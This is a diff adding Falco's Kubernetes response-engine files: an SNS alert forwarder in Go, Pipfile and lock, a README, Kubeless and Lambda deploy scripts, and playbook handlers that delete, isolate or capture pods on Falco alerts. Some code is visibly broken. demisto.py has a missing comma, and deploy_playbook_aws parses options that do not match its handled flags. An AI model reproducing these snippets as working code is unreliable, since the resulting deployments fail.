+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// +build ignore
+
+package main
+
+import (
+	"bufio"
+	"encoding/json"
+	"flag"
+	"log"
+	"os"
+
+	"github.com/aws/aws-sdk-go/aws"
+	"github.com/aws/aws-sdk-go/aws/session"
+	"github.com/aws/aws-sdk-go/service/sns"
+)
+
+func main() {
+	var topic = flag.String("t", "", "The AWS SNS topic ARN")
+	var pipePath = flag.String("f", "/var/run/falco/nats", "The named pipe path")
+
+	log.SetFlags(0)
+	flag.Usage = usage
+	flag.Parse()
+
+	session, err := session.NewSession(&aws.Config{Region: aws.String(os.Getenv("AWS_DEFAULT_REGION"))})
+	if err != nil {
+		log.Fatal(err)
+	}
+	svc := sns.New(session)
+
+	pipe, err := os.OpenFile(*pipePath, os.O_RDONLY, 0600)
+	if err != nil {
+		log.Fatal(err)
+	}
+
+	log.Printf("Opened pipe %s", *pipePath)
+
+	reader := bufio.NewReader(pipe)
+	scanner := bufio.NewScanner(reader)
+
+	log.Printf("Scanning %s", *pipePath)
+
+	for scanner.Scan() {
+		msg := []byte(scanner.Text())
+		alert := parseAlert(msg)
+
+		params := &sns.PublishInput{
+			Message: aws.String(string(msg)),
+			MessageAttributes: map[string]*sns.MessageAttributeValue{
+				"priority": &sns.MessageAttributeValue{
+					DataType:    aws.String("String"),
+					StringValue: aws.String(alert.Priority),
+				},
+				"rule": &sns.MessageAttributeValue{
+					DataType:    aws.String("String"),
+					StringValue: aws.String(alert.Rule),
+				},
+			},
+			TopicArn: aws.String(*topic),
+		}
+
+		_, err := svc.Publish(params)
+		if err != nil {
+			log.Fatal(err)
+		} else {
+			log.Printf("Published [%s] : '%s'\n", *topic, msg)
+		}
+	}
+}
+
+func usage() {
+	log.Fatalf("Usage: falco-sns -t topic <subject> <msg> \n")
+}
+
+type parsedAlert struct {
+	Priority string `json:"priority"`
+	Rule     string `json:"rule"`
+}
+
+func parseAlert(alert []byte) *parsedAlert {
+	var result parsedAlert
+	err := json.Unmarshal(alert, &result)
+	if err != nil {
+		log.Fatal(err)
+	}
+
+	return &result
+}

integrations/kubernetes-response-engine/playbooks/.gitignore

@@ -0,0 +1,104 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+wheels/
+*.egg-info/
+.installed.cfg
+*.egg
+MANIFEST
+
+# PyInstaller
+#  Usually these files are written by a python script from a template
+#  before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*.cover
+.hypothesis/
+.pytest_cache/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+db.sqlite3
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+target/
+
+# Jupyter Notebook
+.ipynb_checkpoints
+
+# pyenv
+.python-version
+
+# celery beat schedule file
+celerybeat-schedule
+
+# SageMath parsed files
+*.sage.py
+
+# Environments
+.env
+.venv
+env/
+venv/
+ENV/
+env.bak/
+venv.bak/
+
+# Spyder project settings
+.spyderproject
+.spyproject
+
+# Rope project settings
+.ropeproject
+
+# mkdocs documentation
+/site
+
+# mypy
+.mypy_cache/

integrations/kubernetes-response-engine/playbooks/Pipfile

@@ -0,0 +1,21 @@
+[[source]]
+url = "https://pypi.python.org/simple"
+verify_ssl = true
+name = "pypi"
+
+[dev-packages]
+mamba = "*"
+expects = "*"
+doublex = "*"
+doublex-expects = "==0.7.0rc2"
+six = "*"
+playbooks = {path = "."}
+
+[packages]
+kubernetes = "*"
+requests = "*"
+"e1839a8" = {path = ".", editable = true}
+maya = "*"
+
+[requires]
+python_version = "*"

integrations/kubernetes-response-engine/playbooks/Pipfile.lock

@@ -0,0 +1,415 @@
+{
+    "_meta": {
+        "hash": {
+            "sha256": "ee8fff436e311a11069488c3d0955fef8cc3b4dd0d42ef8515e2e5858448623b"
+        },
+        "pipfile-spec": 6,
+        "requires": {
+            "python_version": "*"
+        },
+        "sources": [
+            {
+                "name": "pypi",
+                "url": "https://pypi.python.org/simple",
+                "verify_ssl": true
+            }
+        ]
+    },
+    "default": {
+        "adal": {
+            "hashes": [
+                "sha256:ba52913c38d76b4a4d88eaab41a5763d056ab6d073f106e0605b051ab930f5c1",
+                "sha256:bf79392b8e9e5e82aa6acac3835ba58bbac0ccf7e15befa215863f83d5f6a007"
+            ],
+            "version": "==1.2.0"
+        },
+        "asn1crypto": {
+            "hashes": [
+                "sha256:2f1adbb7546ed199e3c90ef23ec95c5cf3585bac7d11fb7eb562a3fe89c64e87",
+                "sha256:9d5c20441baf0cb60a4ac34cc447c6c189024b6b4c6cd7877034f4965c464e49"
+            ],
+            "version": "==0.24.0"
+        },
+        "cachetools": {
+            "hashes": [
+                "sha256:0a258d82933a1dd18cb540aca4ac5d5690731e24d1239a08577b814998f49785",
+                "sha256:4621965b0d9d4c82a79a29edbad19946f5e7702df4afae7d1ed2df951559a8cc"
+            ],
+            "version": "==3.0.0"
+        },
+        "certifi": {
+            "hashes": [
+                "sha256:339dc09518b07e2fa7eda5450740925974815557727d6bd35d319c1524a04a4c",
+                "sha256:6d58c986d22b038c8c0df30d639f23a3e6d172a05c3583e766f4c0b785c0986a"
+            ],
+            "version": "==2018.10.15"
+        },
+        "cffi": {
+            "hashes": [
+                "sha256:151b7eefd035c56b2b2e1eb9963c90c6302dc15fbd8c1c0a83a163ff2c7d7743",
+                "sha256:1553d1e99f035ace1c0544050622b7bc963374a00c467edafac50ad7bd276aef",
+                "sha256:1b0493c091a1898f1136e3f4f991a784437fac3673780ff9de3bcf46c80b6b50",
+                "sha256:2ba8a45822b7aee805ab49abfe7eec16b90587f7f26df20c71dd89e45a97076f",
+                "sha256:3bb6bd7266598f318063e584378b8e27c67de998a43362e8fce664c54ee52d30",
+                "sha256:3c85641778460581c42924384f5e68076d724ceac0f267d66c757f7535069c93",
+                "sha256:3eb6434197633b7748cea30bf0ba9f66727cdce45117a712b29a443943733257",
+                "sha256:495c5c2d43bf6cebe0178eb3e88f9c4aa48d8934aa6e3cddb865c058da76756b",
+                "sha256:4c91af6e967c2015729d3e69c2e51d92f9898c330d6a851bf8f121236f3defd3",
+                "sha256:57b2533356cb2d8fac1555815929f7f5f14d68ac77b085d2326b571310f34f6e",
+                "sha256:770f3782b31f50b68627e22f91cb182c48c47c02eb405fd689472aa7b7aa16dc",
+                "sha256:79f9b6f7c46ae1f8ded75f68cf8ad50e5729ed4d590c74840471fc2823457d04",
+                "sha256:7a33145e04d44ce95bcd71e522b478d282ad0eafaf34fe1ec5bbd73e662f22b6",
+                "sha256:857959354ae3a6fa3da6651b966d13b0a8bed6bbc87a0de7b38a549db1d2a359",
+                "sha256:87f37fe5130574ff76c17cab61e7d2538a16f843bb7bca8ebbc4b12de3078596",
+                "sha256:95d5251e4b5ca00061f9d9f3d6fe537247e145a8524ae9fd30a2f8fbce993b5b",
+                "sha256:9d1d3e63a4afdc29bd76ce6aa9d58c771cd1599fbba8cf5057e7860b203710dd",
+                "sha256:a36c5c154f9d42ec176e6e620cb0dd275744aa1d804786a71ac37dc3661a5e95",
+                "sha256:a6a5cb8809091ec9ac03edde9304b3ad82ad4466333432b16d78ef40e0cce0d5",
+                "sha256:ae5e35a2c189d397b91034642cb0eab0e346f776ec2eb44a49a459e6615d6e2e",
+                "sha256:b0f7d4a3df8f06cf49f9f121bead236e328074de6449866515cea4907bbc63d6",
+                "sha256:b75110fb114fa366b29a027d0c9be3709579602ae111ff61674d28c93606acca",
+                "sha256:ba5e697569f84b13640c9e193170e89c13c6244c24400fc57e88724ef610cd31",
+                "sha256:be2a9b390f77fd7676d80bc3cdc4f8edb940d8c198ed2d8c0be1319018c778e1",
+                "sha256:ca1bd81f40adc59011f58159e4aa6445fc585a32bb8ac9badf7a2c1aa23822f2",
+                "sha256:d5d8555d9bfc3f02385c1c37e9f998e2011f0db4f90e250e5bc0c0a85a813085",
+                "sha256:e55e22ac0a30023426564b1059b035973ec82186ddddbac867078435801c7801",
+                "sha256:e90f17980e6ab0f3c2f3730e56d1fe9bcba1891eeea58966e89d352492cc74f4",
+                "sha256:ecbb7b01409e9b782df5ded849c178a0aa7c906cf8c5a67368047daab282b184",
+                "sha256:ed01918d545a38998bfa5902c7c00e0fee90e957ce036a4000a88e3fe2264917",
+                "sha256:edabd457cd23a02965166026fd9bfd196f4324fe6032e866d0f3bd0301cd486f",
+                "sha256:fdf1c1dc5bafc32bc5d08b054f94d659422b05aba244d6be4ddc1c72d9aa70fb"
+            ],
+            "version": "==1.11.5"
+        },
+        "chardet": {
+            "hashes": [
+                "sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae",
+                "sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691"
+            ],
+            "version": "==3.0.4"
+        },
+        "cryptography": {
+            "hashes": [
+                "sha256:02602e1672b62e803e08617ec286041cc453e8d43f093a5f4162095506bc0beb",
+                "sha256:10b48e848e1edb93c1d3b797c83c72b4c387ab0eb4330aaa26da8049a6cbede0",
+                "sha256:17db09db9d7c5de130023657be42689d1a5f60502a14f6f745f6f65a6b8195c0",
+                "sha256:227da3a896df1106b1a69b1e319dce218fa04395e8cc78be7e31ca94c21254bc",
+                "sha256:2cbaa03ac677db6c821dac3f4cdfd1461a32d0615847eedbb0df54bb7802e1f7",
+                "sha256:31db8febfc768e4b4bd826750a70c79c99ea423f4697d1dab764eb9f9f849519",
+                "sha256:4a510d268e55e2e067715d728e4ca6cd26a8e9f1f3d174faf88e6f2cb6b6c395",
+                "sha256:6a88d9004310a198c474d8a822ee96a6dd6c01efe66facdf17cb692512ae5bc0",
+                "sha256:76936ec70a9b72eb8c58314c38c55a0336a2b36de0c7ee8fb874a4547cadbd39",
+                "sha256:7e3b4aecc4040928efa8a7cdaf074e868af32c58ffc9bb77e7bf2c1a16783286",
+                "sha256:8168bcb08403ef144ff1fb880d416f49e2728101d02aaadfe9645883222c0aa5",
+                "sha256:8229ceb79a1792823d87779959184a1bf95768e9248c93ae9f97c7a2f60376a1",
+                "sha256:8a19e9f2fe69f6a44a5c156968d9fc8df56d09798d0c6a34ccc373bb186cee86",
+                "sha256:8d10113ca826a4c29d5b85b2c4e045ffa8bad74fb525ee0eceb1d38d4c70dfd6",
+                "sha256:be495b8ec5a939a7605274b6e59fbc35e76f5ad814ae010eb679529671c9e119",
+                "sha256:dc2d3f3b1548f4d11786616cf0f4415e25b0fbecb8a1d2cd8c07568f13fdde38",
+                "sha256:e4aecdd9d5a3d06c337894c9a6e2961898d3f64fe54ca920a72234a3de0f9cb3",
+                "sha256:e79ab4485b99eacb2166f3212218dd858258f374855e1568f728462b0e6ee0d9",
+                "sha256:f995d3667301e1754c57b04e0bae6f0fa9d710697a9f8d6712e8cca02550910f"
+            ],
+            "version": "==2.3.1"
+        },
+        "dateparser": {
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+                "sha256:b452ef8b36cd78ae86a50721794bc674aa3994e19b570f7ba92810f4e0a2ae03"
+            ],
+            "version": "==0.7.0"
+        },
+        "e1839a8": {
+            "editable": true,
+            "path": "."
+        },
+        "google-auth": {
+            "hashes": [
+                "sha256:9ca363facbf2622d9ba828017536ccca2e0f58bd15e659b52f312172f8815530",
+                "sha256:a4cf9e803f2176b5de442763bd339b313d3f1ed3002e3e1eb6eec1d7c9bbc9b4"
+            ],
+            "version": "==1.5.1"
+        },
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+        },
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+                "sha256:684a38a6f903c1d71d6d5fac066b58d7768af4de2b832e426ec79c30daa94a16"
+            ],
+            "version": "==2.7"
+        },
+        "kubernetes": {
+            "hashes": [
+                "sha256:0cc9ce02d838da660efa0a67270b4b7d47e6beb8889673cd45c86f897e2d6821",
+                "sha256:54f8e7bb1dd9a55cf416dff76a63c4ae441764280942d9913f2243676f29d02c"
+            ],
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+            "version": "==8.0.0"
+        },
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+                "sha256:f526bc8596d993f4bd9755668f66aaf61d635bb4149e084d4a2bc0ebe42aa0b6"
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+        },
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+        },
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+            ],
+            "version": "==0.2.2"
+        },
+        "pycparser": {
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+            ],
+            "version": "==2.19"
+        },
+        "pyjwt": {
+            "hashes": [
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+                "sha256:4ee413b357d53fd3fb44704577afac88e72e878716116270d722723d65b42176"
+            ],
+            "version": "==1.6.4"
+        },
+        "python-dateutil": {
+            "hashes": [
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+                "sha256:88f9287c0174266bb0d8cedd395cfba9c58e87e5ad86b2ce58859bc11be3cf02"
+            ],
+            "version": "==2.7.5"
+        },
+        "pytz": {
+            "hashes": [
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+                "sha256:8e0f8568c118d3077b46be7d654cc8167fa916092e28320cde048e54bfc9f1e6"
+            ],
+            "version": "==2018.7"
+        },
+        "pytzdata": {
+            "hashes": [
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+                "sha256:279cbd9900d5da9a8f9053e60db0db7f42d9a799673744b76aaeb6b4f14abe77"
+            ],
+            "version": "==2018.7"
+        },
+        "pyyaml": {
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+                "sha256:e170a9e6fcfd19021dd29845af83bb79236068bf5fd4df3327c1be18182b2531"
+            ],
+            "version": "==3.13"
+        },
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+                "sha256:f937fdbcdb1e455c23709f5cf6df91a0ecfe8c23268f601606173232958daa8d"
+            ],
+            "version": "==2018.11.6"
+        },
+        "requests": {
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+        },
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+            ],
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+        },
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+            ],
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+        },
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+        },
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+        },
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+            ],
+            "version": "==0.54.0"
+        }
+    },
+    "develop": {
+        "args": {
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+                "sha256:a785b8d837625e9b61c39108532d95b85274acd679693b71ebb5156848fcf814"
+            ],
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+        },
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+            ],
+            "version": "==0.5.1"
+        },
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+                "sha256:3d72c20bd105022d29b14a7d628462ebdc61de2f303322c0212a054352f3b287",
+                "sha256:3eb42bf89a6be7deb64116dd1cc4b08171734d721e7a7e57ad64cc4ef29ed2f1",
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+                "sha256:5a13ea7911ff5e1796b6d5e4fbbf6952381a611209b736d48e675c2756f3f74e",
+                "sha256:69bf008a06b76619d3c3f3b1983f5145c75a305a0fea513aca094cae5c40a8f5",
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+                "sha256:7d3f553904b0c5c016d1dad058a7554c7ac4c91a789fca496e7d8347ad040653",
+                "sha256:7e1fe19bd6dce69d9fd159d8e4a80a8f52101380d5d3a4d374b6d3eae0e5de9c",
+                "sha256:8c3cb8c35ec4d9506979b4cf90ee9918bc2e49f84189d9bf5c36c0c1119c6558",
+                "sha256:9d6dd10d49e01571bf6e147d3b505141ffc093a06756c60b053a859cb2128b1f",
+                "sha256:be6cfcd8053d13f5f5eeb284aa8a814220c3da1b0078fa859011c7fffd86dab9",
+                "sha256:c1bb572fab8208c400adaf06a8133ac0712179a334c09224fb11393e920abcdd",
+                "sha256:de4418dadaa1c01d497e539210cb6baa015965526ff5afc078c57ca69160108d",
+                "sha256:e05cb4d9aad6233d67e0541caa7e511fa4047ed7750ec2510d466e806e0255d6",
+                "sha256:f05a636b4564104120111800021a92e43397bc12a5c72fed7036be8556e0029e",
+                "sha256:f3f501f345f24383c0000395b26b726e46758b71393267aeae0bd36f8b3ade80"
+            ],
+            "version": "==4.5.1"
+        },
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+            "hashes": [
+                "sha256:bdfa5007ec6f93fcdb05683ef559dd7919b7fe217df41fd240f8d4b2f681ba21"
+            ],
+            "index": "pypi",
+            "version": "==1.9.1"
+        },
+        "doublex-expects": {
+            "hashes": [
+                "sha256:5421bd92319c77ccc5a81d595d06e9c9f7f670de342b33e8007a81e70f9fade8"
+            ],
+            "index": "pypi",
+            "version": "==0.7.0rc2"
+        },
+        "expects": {
+            "hashes": [
+                "sha256:419902ccafe81b7e9559eeb6b7a07ef9d5c5604eddb93000f0642b3b2d594f4c"
+            ],
+            "index": "pypi",
+            "version": "==0.9.0"
+        },
+        "mamba": {
+            "hashes": [
+                "sha256:25328151ea94d97a0b461d7256dc7350c99b5f8d2de22d355978378edfeac545"
+            ],
+            "index": "pypi",
+            "version": "==0.10"
+        },
+        "playbooks": {
+            "path": "."
+        },
+        "pyhamcrest": {
+            "hashes": [
+                "sha256:6b672c02fdf7470df9674ab82263841ce8333fb143f32f021f6cb26f0e512420",
+                "sha256:8ffaa0a53da57e89de14ced7185ac746227a8894dbd5a3c718bf05ddbd1d56cd"
+            ],
+            "version": "==1.9.0"
+        },
+        "six": {
+            "hashes": [
+                "sha256:70e8a77beed4562e7f14fe23a786b54f6296e34344c23bc42f07b15018ff98e9",
+                "sha256:832dc0e10feb1aa2c68dcc57dbb658f1c7e65b9b61af69048abc87a2db00a0eb"
+            ],
+            "version": "==1.11.0"
+        }
+    }
+}

integrations/kubernetes-response-engine/playbooks/README.md

@@ -0,0 +1,228 @@
+# Playbooks
+
+Following [owasp ideas](https://owaspsummit.org/Working-Sessions/Security-Playbooks/index.html),
+playbooks are workflows and prescriptive instructions on how to handle specific
+Security activities or incidents.
+
+Being more specific, playbooks are actions that are going to be executed when
+Falco finds a weird behavior in our Kubernetes cluster. We have implemented
+them with Python and we have found that several Serverless concepts fits well
+with playbooks, so we use [Kubeless](https://kubeless.io/) for its deployment.
+
+## Requirements
+
+* A working Kubernetes cluster
+* [kubeless cli executable](https://kubeless.io/docs/quick-start/)
+* Python 3.6
+* pipenv
+
+## Deploying a playbook
+
+Deploying a playbook involves a couple of components, the function that is going
+to be with Kubeless and a trigger for that function.
+
+We have automated those steps in a generic script *deploy_playbook* who packages
+the reaction and its dependencies, uploads to Kubernetes and creates the kubeless
+trigger.
+
+```
+./deploy_playbook -p slack -e SLACK_WEBHOOK_URL="https://..." -t "falco.error.*" -t "falco.info.*"
+```
+
+### Parameters
+
+* -p: The playbook to deploy, it must match with the top-level script. In this
+    example *slack.py* that contains the wiring between playbooks and Kubeless
+    functions.
+
+* -e: Sets configuration settings for Playbook. In this case the URL where we
+    have to post messages. You can specify multiple *-e* flags.
+
+* -t: Topic to susbcribe. You can specify multiple *-t* flags and a trigger
+    will be created for each topic, so when we receive a message in that topic,
+    our function will be ran. In this case, playbook will be run when a
+    falco.error or falco.info alert is raised.
+
+### Kubeless 101
+
+Under the hood, there are several useful commands for checking function state with kubeless.
+
+
+We can retrieve all functions deployed in our cluster:
+```
+kubeless function list
+```
+
+And we can see several interesting stats about a function usage:
+```
+kubeless function top
+```
+
+And we can see bindings between functions and NATS topics:
+```
+kubeless trigger nats list
+```
+
+### Undeploying a function
+
+You have to delete every component using kubeless cli tool.
+
+Generally, it takes 2 steps: Remove the triggers and remove the function.
+
+Remove the triggers:
+```
+kubeless trigger nats delete trigger-name
+```
+
+If you have deployed with the script, trigger-name look like:
+*falco-<playbook>-trigger-<index>* where index is the index of the topic created.
+Anyway, you can list all triggers and select the name.
+
+
+Remove the function:
+```
+kubeless function delete function-name
+```
+
+If you have deployed with the script, the function name will start with *falco-<playbook>*,
+but you can list all functions and select its name.
+
+## Testing
+
+One of the goals of the project was that playbooks were tested.
+
+You can execute the tests with:
+
+```
+pipenv --three install -d
+export KUBERNETES_LOAD_KUBE_CONFIG=1
+pipenv run mamba --format=documentation
+```
+
+The first line install development tools, which includes test runner and assertions.
+The second one tells Kubernetes Client to use the same configuration than kubectl and
+the third one runs the test.
+
+The tests under *specs/infrastructure* runs against a real Kubernetes cluster,
+but the *spec/reactions* can be run without any kind of infrastructure.
+
+## Available Playbooks
+
+### Delete a Pod
+
+This playbook kills a pod using Kubernetes API
+
+```
+./deploy_playbook -p delete -t "falco.notice.terminal_shell_in_container"
+```
+
+In this example, everytime we receive a *Terminal shell in container* alert from
+Falco, that pod will be deleted.
+
+### Send message to Slack
+
+This playbook posts a message to Slack
+
+```
+./deploy_playbook -p slack -t "falco.error.*" -e SLACK_WEBHOOK_URL="https://..."
+```
+
+#### Parameters
+
+* SLACK_WEBHOOK_URL: This is the webhook used for posting messages in Slack
+
+In this example, when Falco raises an error we will be notified in Slack
+
+### Taint a Node
+
+This playbook taints the node which where pod is running.
+
+```
+$ ./deploy_playbook -p taint -t “falco.notice.contact_k8s_api_server_from_container”
+```
+
+#### Parameters:
+* TAINT_KEY: This is the taint key. Default value: ‘falco/alert’
+* TAINT_VALUE: This is the taint value. Default value: ‘true’
+* TAINT_EFFECT: This is the taint effect. Default value: ‘NoSchedule’
+
+In this example, we avoid scheduling in the node which originates the Contact
+K8S API server from container.  But we can use a more aggresive approach and
+use -e TAINT_EFFECT=NoExecute
+
+### Network isolate a Pod
+
+This reaction denies all ingress/egress traffic from a Pod. It's intended to
+be used with Calico or other similar projects for managing networking in
+Kubernetes.
+
+```
+./deploy_playbook -p isolate -t “falco.notice.write_below_binary_dir” -t “falco.error.write_below_etc”
+```
+
+So as soon as we notice someone wrote under /bin (and additional binaries) or
+/etc, we disconnect that pod. It's like a trap for our attackers.
+
+### Create an incident in Demisto
+
+This playbook creates an incident in Demisto
+
+```
+./deploy_playbook -p demisto -t "falco.*.*" -e DEMISTO_API_KEY=XxXxxXxxXXXx -e DEMISTO_BASE_URL=https://..."
+```
+
+#### Parameters
+
+* DEMISTO_API_KEY: This is the API key used for authenticating against Demisto. Create one under settings -> API keys
+* DEMISTO_BASE_URL: This is the base URL where your Demisto server lives on. Ensure there's no trailing slash.
+* VERIFY_SSL: Verify SSL certificates for HTTPS requests. By default is enabled.
+
+In this example, when Falco raises any kind of alert, the alert will be created in Demisto
+
+### Start a capture using Sysdig
+
+This playbook starts to capture information about pod using sysdig and uploads
+to a s3 bucket.
+
+```
+$ ./deploy_playbook -p capture -e CAPTURE_DURATION=300 -e AWS_S3_BUCKET=s3://xxxxxxx -e AWS_ACCESS_KEY_ID=xxxxXXXxxXXxXX -e AWS_SECRET_ACCESS_KEY=xxXxXXxxxxXXX -t "falco.notice.terminal_shell_in_container"
+```
+
+#### Parameters:
+* CAPTURE_DURATION: Captures data for this duration in seconds. By default is
+  120 seconds (2 minutes)
+* AWS_S3_BUCKET: This is the bucket where data is going to be uploaded. Jobs
+  starts with sysdig- prefix and contain pod name and time where event starts.
+* AWS_ACCESS_KEY_ID: This is the Amazon access key id.
+* AWS_SECRET_ACCESS_KEY: This is the Amazon secret access key.
+
+In this example, when we detect a shell in a container, we start to collect data
+for 300 seconds. This playbook requires permissions for creating a new pod from
+a Kubeless function.
+
+### Create a container in Phantom
+This playbook creates a container in Phantom
+
+```
+./deploy_playbook -p phantom -t "falco.*.*" -e PHANTOM_USER=user -e PHANTOM_PASSWORD=xxxXxxxX -e PHANTOM_BASE_URL=https://..."
+```
+
+#### Parameters
+* PHANTOM_USER: This is the user used to connect to Phantom
+* PHANTOM_PASSWORD: This is the password used to connect to Phantom
+* PHANTOM_BASE_URL: This is the base URL where your Phantom server lives on. Ensure there's no trailing slash.
+* VERIFY_SSL: Verify SSL certificates for HTTPS requests. By default is enabled.
+
+In this example, when Falco raises any kind of alert, the alert will be created in Phantom.
+
+## Deploying playbooks to AWS Lambda
+
+You can deploy functions to AWS Lambda using the `./deploy_playbook_aws` script.
+
+### Parameters
+
+* -p: The playbook to deploy, it must match with the top-level script.
+
+* -e: Sets configuration settings for Playbook. You can specify multiple *-e* flags.
+
+* -k: EKS cluster name against playbook is going to connect via K8s API.

integrations/kubernetes-response-engine/playbooks/deploy_playbook

@@ -0,0 +1,87 @@
+#!/bin/bash
+#
+# Deploys a playbook
+
+set -e
+
+function usage() {
+  cat<<EOF
+Usage: $0 [options]
+
+-p playbook     Playbook to be deployed. Is the script for Kubeless: slack, taint, isolate.
+-e environment  Environment variables for the Kubeless function.  You can pass multiple environment variables passing several -e parameters.
+-t topic        NATS topic to subscribe function. You can bind to multiple topics passing several -t parameters.
+
+You must pass the playbook and at least one topic to subscribe.
+
+Example:
+
+deploy_playbook -p slack -t "falco.error.*" -e SLACK_WEBHOOK_URL=http://foobar.com/...
+EOF
+  exit 1
+}
+
+function create_environment_flags {
+  for env in ${environment[*]}; do
+    echo "--env ${env} "
+  done
+}
+
+playbook=""
+environment=()
+topics=()
+
+while getopts "p:e:t:" arg; do
+  case $arg in
+    p)
+      playbook="${OPTARG}"
+      ;;
+    e)
+      environment+=("${OPTARG}")
+      ;;
+    t)
+      topics+=("${OPTARG}")
+      ;;
+    *)
+      usage
+      ;;
+  esac
+done
+
+if [[ "${playbook}" == "" || ${#topics[@]} -eq 0 ]]; then
+  usage
+fi
+
+pipenv lock --requirements | sed '/^-/ d' > requirements.txt
+
+mkdir -p kubeless-function
+
+cp -r playbooks kubeless-function/
+
+cat > kubeless-function/"${playbook}".py <<EOL
+import sys
+import os.path
+sys.path.append(os.path.join(os.path.abspath(os.path.dirname(__file__))))
+
+EOL
+cat functions/"${playbook}".py >> kubeless-function/"${playbook}".py
+
+
+cd kubeless-function
+zip ../"${playbook}".zip -r *
+cd ..
+
+kubeless function deploy  --from-file "${playbook}".zip \
+                          --dependencies requirements.txt \
+                          $(create_environment_flags ${environment[*]}) \
+                          --runtime python3.6 \
+                          --handler "${playbook}".handler \
+                          falco-"${playbook}"
+
+rm -fr requirements.txt ${playbook}.zip kubeless-function
+
+for index in ${!topics[*]}; do
+  kubeless trigger nats create falco-"${playbook}"-trigger-"${index}" \
+      --function-selector created-by=kubeless,function=falco-${playbook} \
+      --trigger-topic "${topics[$index]}"
+done

integrations/kubernetes-response-engine/playbooks/deploy_playbook_aws

@@ -0,0 +1,76 @@
+#!/bin/bash
+#
+# Deploys a playbook
+
+set -e
+
+function usage() {
+  cat<<EOF
+Usage: $0 [options]
+
+-p playbook             Playbook to be deployed. Is the script for Kubeless: slack, taint, isolate.
+-e environment          Environment variables for the Kubeless function.  You can pass multiple environment variables passing several -e parameters.
+-k kubernetes_cluster   Kubernetes cluster from aws eks list-clusters where function will be applied.
+
+You must pass the playbook and at least one topic to subscribe.
+
+Example:
+
+deploy_playbook -p slack -t "falco.error.*" -e SLACK_WEBHOOK_URL=http://foobar.com/... -k sysdig_eks
+EOF
+  exit 1
+}
+
+function join { local IFS="$1"; shift; echo "$*"; }
+
+playbook=""
+environment=("KUBECONFIG=kubeconfig" "KUBERNETES_LOAD_KUBE_CONFIG=1")
+eks_cluster="${EKS_CLUSTER}"
+
+while getopts "r:e:t:" arg; do
+  case $arg in
+    p)
+      playbook="${OPTARG}"
+      ;;
+    e)
+      environment+=("${OPTARG}")
+      ;;
+    k)
+      eks_cluster="${OPTARG}"
+      ;;
+    *)
+      usage
+      ;;
+  esac
+done
+
+if [[ "${playbook}" == "" ]] || [[ "${eks_cluster}" == "" ]]; then
+  usage
+fi
+
+pipenv lock --requirements | sed '/^-/ d' > requirements.txt
+
+mkdir -p lambda
+pip install -t lambda -r requirements.txt
+pip install -t lambda  .
+
+aws eks update-kubeconfig --name "${eks_cluster}" --kubeconfig lambda/kubeconfig
+sed -i "s/command: aws-iam-authenticator/command: .\/aws-iam-authenticator/g" lambda/kubeconfig
+
+cp extra/aws-iam-authenticator lambda/
+
+cp functions/"${playbook}".py lambda/
+
+cd lambda
+zip ../"${playbook}".zip  -r *
+cd ..
+
+aws lambda create-function \
+  --function-name falco-"${playbook}" \
+  --runtime python2.7 \
+  --role $(terraform output --state=../deployment/aws/terraform.tfstate iam_for_lambda) \
+  --environment Variables={"$(join , ${environment[*]})"} \
+  --handler "${playbook}".handler \
+  --zip-file fileb://./"${playbook}".zip
+
+rm -fr "${playbook}".zip lambda requirements.txt

integrations/kubernetes-response-engine/playbooks/functions/capture.py

@@ -0,0 +1,20 @@
+import sys
+import os.path
+sys.path.append(os.path.join(os.path.abspath(os.path.dirname(__file__))))
+
+import os
+import playbooks
+from playbooks import infrastructure
+
+
+playbook = playbooks.StartSysdigCaptureForContainer(
+    infrastructure.KubernetesClient(),
+    int(os.environ.get('CAPTURE_DURATION', 120)),
+    os.environ['AWS_S3_BUCKET'],
+    os.environ['AWS_ACCESS_KEY_ID'],
+    os.environ['AWS_SECRET_ACCESS_KEY']
+)
+
+
+def handler(event, context):
+    playbook.run(event['data'])

integrations/kubernetes-response-engine/playbooks/functions/delete.py

@@ -0,0 +1,11 @@
+import playbooks
+from playbooks import infrastructure
+
+
+playbook = playbooks.DeletePod(
+    infrastructure.KubernetesClient()
+)
+
+
+def handler(event, context):
+    playbook.run(playbooks.falco_alert(event))

integrations/kubernetes-response-engine/playbooks/functions/demisto.py

@@ -0,0 +1,22 @@
+import sys
+import os.path
+sys.path.append(os.path.join(os.path.abspath(os.path.dirname(__file__))))
+
+import os
+import playbooks
+from playbooks import infrastructure
+
+
+def _to_bool(value):
+    return value.lower() in ('yes', 'true', '1')
+
+
+playbook = playbooks.CreateIncidentInDemisto(
+    infrastructure.DemistoClient(os.environ['DEMISTO_API_KEY'],
+                                 os.environ['DEMISTO_BASE_URL']
+                                 verify_ssl=_to_bool(os.environ.get('VERIFY_SSL', 'True')))
+)
+
+
+def handler(event, context):
+    playbook.run(event['data'])

integrations/kubernetes-response-engine/playbooks/functions/isolate.py

@@ -0,0 +1,11 @@
+import playbooks
+from playbooks import infrastructure
+
+
+playbook = playbooks.NetworkIsolatePod(
+    infrastructure.KubernetesClient()
+)
+
+
+def handler(event, context):
+    playbook.run(playbooks.falco_alert(event))

integrations/kubernetes-response-engine/playbooks/functions/phantom.py

@@ -0,0 +1,25 @@
+import sys
+import os.path
